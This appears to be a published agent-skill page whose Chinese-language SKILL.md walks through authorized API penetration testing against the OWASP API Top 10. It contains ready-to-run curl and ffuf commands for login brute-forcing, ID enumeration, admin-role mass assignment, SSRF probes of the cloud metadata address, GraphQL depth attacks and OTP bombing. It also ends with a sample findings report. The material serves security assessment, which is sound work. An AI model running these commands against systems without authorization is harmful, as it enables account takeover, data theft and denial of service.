# Testing API Security With Owasp Top 10

> 使用自动化和手工测试技术，针对 OWASP API 安全 Top 10 风险对 REST 和 GraphQL API 端点进行系统性评估。

- Skill: `killvxk/testing-api-security-with-owasp-top-10` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/testing-api-security-with-owasp-top-10`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/testing-api-security-with-owasp-top-10/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/testing-api-security-with-owasp-top-10

---


# 使用 OWASP Top 10 测试 API 安全（Testing API Security with OWASP Top 10）

## 适用场景

- 在授权 API 渗透测试项目中
- 评估 REST、GraphQL 或 gRPC API 的安全漏洞时
- 在将新 API 端点部署到生产环境之前
- 对照 OWASP API 安全 Top 10（2023 版）审查 API 安全态势时
- 验证 API 网关安全控制和速率限制有效性时

## 前置条件

- **授权**：明确覆盖所有待测 API 端点的书面测试范围文件
- **Burp Suite Professional**：用于拦截和修改 API 请求
- **Postman**：用于组织和执行 API 测试集合
- **ffuf**：用于 API 端点和参数模糊测试
- **curl/httpie**：用于手工测试的命令行 HTTP 客户端
- **API 文档**：Swagger/OpenAPI 规范、GraphQL schema 或 API 文档
- **jq**：解析 API 响应的 JSON 处理器（`apt install jq`）

## 工作流程

### 步骤 1 — 发现和映射 API 端点

枚举所有可用 API 端点，了解 API 攻击面。

```bash
# 若有 OpenAPI/Swagger 规范，先下载
curl -s "https://api.target.example.com/swagger.json" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/v2/api-docs" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/openapi.yaml"

# 模糊测试 API 端点
ffuf -u "https://api.target.example.com/api/v1/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,301,401,403,405 \
  -fc 404 \
  -H "Content-Type: application/json" \
  -o api-enum.json -of json

# 模糊测试 API 版本
for v in v1 v2 v3 v4 beta internal admin; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://api.target.example.com/api/$v/users")
  echo "$v: $status"
done

# 检查 GraphQL 端点
for path in graphql graphiql playground query gql; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" \
    -d '{"query":"{__typename}"}' \
    "https://api.target.example.com/$path")
  echo "$path: $status"
done
```

### 步骤 2 — 测试 API1 - 对象级授权缺陷（BOLA）

测试用户是否可以通过操控 ID 访问属于其他用户的对象。

```bash
# 以用户 A 身份认证并获取其资源
TOKEN_A="Bearer eyJhbGciOiJIUzI1NiIs..."
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users/101/orders" | jq .

# 使用用户 A 的 token 尝试访问用户 B 的资源
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users/102/orders" | jq .

# 使用 Burp Intruder 或 ffuf 模糊测试对象 ID
ffuf -u "https://api.target.example.com/api/v1/orders/FUZZ" \
  -w <(seq 1 1000) \
  -H "Authorization: $TOKEN_A" \
  -mc 200 -t 10 -rate 50

# 测试不同格式的 ID 是否存在 IDOR
# 数字型：/users/102
# UUID：/users/550e8400-e29b-41d4-a716-446655440000
# 编码型：/users/MTAy（base64）
```

### 步骤 3 — 测试 API2 - 认证缺陷

评估认证机制的安全弱点。

```bash
# 测试缺少认证的情况
curl -s "https://api.target.example.com/api/v1/users" | jq .

# 测试 JWT token 漏洞
# 不验证签名直接解码 JWT
echo "eyJhbGciOiJIUzI1NiIs..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .

# 测试 "alg: none" 攻击
# Header: {"alg":"none","typ":"JWT"}
# 创建修改了 claims 的未签名 token

# 测试登录接口的暴力破解防护
ffuf -u "https://api.target.example.com/api/v1/auth/login" \
  -X POST -H "Content-Type: application/json" \
  -d '{"email":"admin@target.com","password":"FUZZ"}' \
  -w /usr/share/seclists/Passwords/Common-Credentials/top-1000.txt \
  -mc 200 -t 5 -rate 10

# 测试密码重置流程
curl -s -X POST "https://api.target.example.com/api/v1/auth/reset" \
  -H "Content-Type: application/json" \
  -d '{"email":"victim@target.com"}'

# 检查 token 是否直接出现在响应体而非仅通过邮件发送
```

### 步骤 4 — 测试 API3 - 对象属性级授权缺陷

测试过度数据暴露和批量赋值漏洞。

```bash
# 检查响应中的过度数据
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users/101" | jq .
# 关注：密码哈希、SSN、内部 ID、管理员标志、PII

# 测试批量赋值 — 尝试添加管理员属性
curl -s -X PUT \
  -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"name":"Test User","role":"admin","is_admin":true}' \
  "https://api.target.example.com/api/v1/users/101" | jq .

# 使用 PATCH 方法测试
curl -s -X PATCH \
  -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"role":"admin","balance":999999}' \
  "https://api.target.example.com/api/v1/users/101" | jq .

# 检查过滤参数是否暴露更多数据
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users/101?fields=all" | jq .
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users/101?include=password,ssn" | jq .
```

### 步骤 5 — 测试 API4/API6 - 速率限制和不受限制的敏感流程访问

验证速率限制和资源消耗控制措施。

```bash
# 测试认证端点的速率限制
for i in $(seq 1 100); do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" \
    -d '{"email":"test@test.com","password":"wrong"}' \
    "https://api.target.example.com/api/v1/auth/login")
  echo "尝试 $i：$status"
  if [ "$status" == "429" ]; then
    echo "在第 $i 次尝试时触发速率限制"
    break
  fi
done

# 测试不受限制的资源消耗
# 大分页请求
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users?limit=100000&offset=0" | jq '. | length'

# GraphQL 深度/复杂度攻击
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: $TOKEN_A" \
  -d '{"query":"{ users { friends { friends { friends { friends { name } } } } } }"}' \
  "https://api.target.example.com/graphql"

# 测试通过 OTP 端点进行 SMS/邮件轰炸
for i in $(seq 1 20); do
  curl -s -X POST -H "Content-Type: application/json" \
    -d '{"phone":"+1234567890"}' \
    "https://api.target.example.com/api/v1/auth/send-otp"
done
```

### 步骤 6 — 测试 API5 - 功能级授权缺陷

检查通过管理端点实现的权限提升。

```bash
# 使用普通用户 token 测试管理端点
ADMIN_ENDPOINTS=(
  "/api/v1/admin/users"
  "/api/v1/admin/settings"
  "/api/v1/admin/logs"
  "/api/v1/internal/config"
  "/api/v1/users?role=admin"
  "/api/v1/admin/export"
)

for endpoint in "${ADMIN_ENDPOINTS[@]}"; do
  for method in GET POST PUT DELETE; do
    status=$(curl -s -o /dev/null -w "%{http_code}" \
      -X "$method" \
      -H "Authorization: $TOKEN_A" \
      -H "Content-Type: application/json" \
      "https://api.target.example.com$endpoint")
    if [ "$status" != "403" ] && [ "$status" != "401" ] && [ "$status" != "404" ]; then
      echo "潜在问题：$method $endpoint 返回 $status"
    fi
  done
done

# 测试 HTTP 方法切换
# 若 GET /admin/users 返回 403，尝试：
curl -s -X POST -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/admin/users"
```

### 步骤 7 — 测试 API7-API10：SSRF、安全配置错误、资产清单和不安全消费

```bash
# API7：服务端请求伪造（SSRF）
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
  "https://api.target.example.com/api/v1/fetch-url"

curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"webhook_url":"http://127.0.0.1:6379/"}' \
  "https://api.target.example.com/api/v1/webhooks"

# API8：安全配置错误
# 检查 CORS 策略
curl -s -I -H "Origin: https://evil.example.com" \
  "https://api.target.example.com/api/v1/users" | grep -i "access-control"

# 检查详细错误信息
curl -s -X POST -H "Content-Type: application/json" \
  -d '{"invalid": "data' \
  "https://api.target.example.com/api/v1/users"

# 检查安全头部
curl -s -I "https://api.target.example.com/api/v1/health" | grep -iE \
  "(x-frame|x-content|strict-transport|content-security|x-xss)"

# API9：不当的资产管理
# 测试已废弃的 API 版本
for v in v0 v1 v2 v3; do
  curl -s -o /dev/null -w "$v: %{http_code}\n" \
    "https://api.target.example.com/api/$v/users"
done

# API10：不安全的 API 消费
# 测试 API 是否盲目信任第三方数据
# 检查 webhook/回调实现是否存在注入漏洞
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| **BOLA（API1）** | 对象级授权缺陷 — 访问属于其他用户的对象 |
| **认证缺陷（API2）** | 弱认证机制，允许凭证填充或 token 操控 |
| **BOPLA（API3）** | 对象属性级授权缺陷 — 过度数据暴露或批量赋值 |
| **不受限资源消耗（API4）** | 缺少速率限制，导致 DoS 或暴力破解攻击 |
| **功能级授权缺陷（API5）** | 普通用户访问管理员级 API 功能 |
| **SSRF（API7）** | 通过接受 URL 的 API 参数实现服务端请求伪造 |
| **安全配置错误（API8）** | 缺少安全头部、详细错误信息、过于宽松的 CORS |
| **不当资产管理（API9）** | 未记录、已废弃或隐藏的 API 端点仍暴露在外 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| **Burp Suite Professional** | API 拦截、扫描和手工测试 |
| **Postman** | API 集合管理和自动化测试执行 |
| **ffuf** | API 端点和参数模糊测试 |
| **Kiterunner** | 使用常见 API 路径模式进行 API 端点发现 |
| **jwt_tool** | JWT token 分析、操控和攻击自动化 |
| **GraphQL Voyager** | GraphQL schema 可视化和内省分析 |
| **Arjun** | API 端点的 HTTP 参数发现 |

## 常见场景

### 场景 1：电商 API 中的 BOLA
用户 A 可通过更改 `/api/v1/orders/{id}` 中的订单 ID 访问用户 B 的订单详情。API 仅检查认证，未在对象级别进行授权校验。

### 场景 2：用户资料中的批量赋值
用户更新端点接受 JSON 体中的 `role` 字段。通过在资料更新请求中添加 `"role":"admin"`，普通用户可将自己提权为管理员。

### 场景 3：通过废弃 API 版本绕过限制
`/api/v2/users` 端点有正确的速率限制，但仍可访问的 `/api/v1/users` 没有速率限制。攻击者使用旧版本暴力破解凭证。

### 场景 4：GraphQL 内省数据泄露
生产环境启用了 GraphQL 内省，暴露了整个 schema，包括内部查询、变更操作以及前端未使用的敏感字段名称。

## 输出格式

```
## API 安全评估报告

**目标**：api.target.example.com
**API 类型**：REST（OpenAPI 3.0）
**评估日期**：2024-01-15
**OWASP API 安全 Top 10（2023）覆盖情况**

| 风险 | 状态 | 严重性 | 详情 |
|------|--------|----------|---------|
| API1：BOLA | 存在漏洞 | 严重 | /api/v1/orders/{id} — IDOR 已确认 |
| API2：认证缺陷 | 存在漏洞 | 高危 | /auth/login 无速率限制 |
| API3：BOPLA | 存在漏洞 | 高危 | 用户角色可通过批量赋值修改 |
| API4：资源消耗 | 存在漏洞 | 中危 | 无分页限制 |
| API5：功能级授权 | 通过 | - | 管理端点已正确限制 |
| API6：不受限敏感流程 | 存在漏洞 | 中危 | OTP 端点缺少速率限制 |
| API7：SSRF | 通过 | - | URL 参数已正确验证 |
| API8：安全配置错误 | 存在漏洞 | 中危 | 错误响应包含详细堆栈跟踪 |
| API9：不当资产管理 | 存在漏洞 | 低危 | API v1 仍可访问但无文档 |
| API10：不安全消费 | 未测试 | - | 未发现第三方 API 集成 |

### 严重发现：订单 API 中的 BOLA
已认证用户可通过遍历订单 ID 访问任意订单。
测试范围：1-1000，847 个有效订单可被访问。
PII 泄露：姓名、地址、支付详情。
```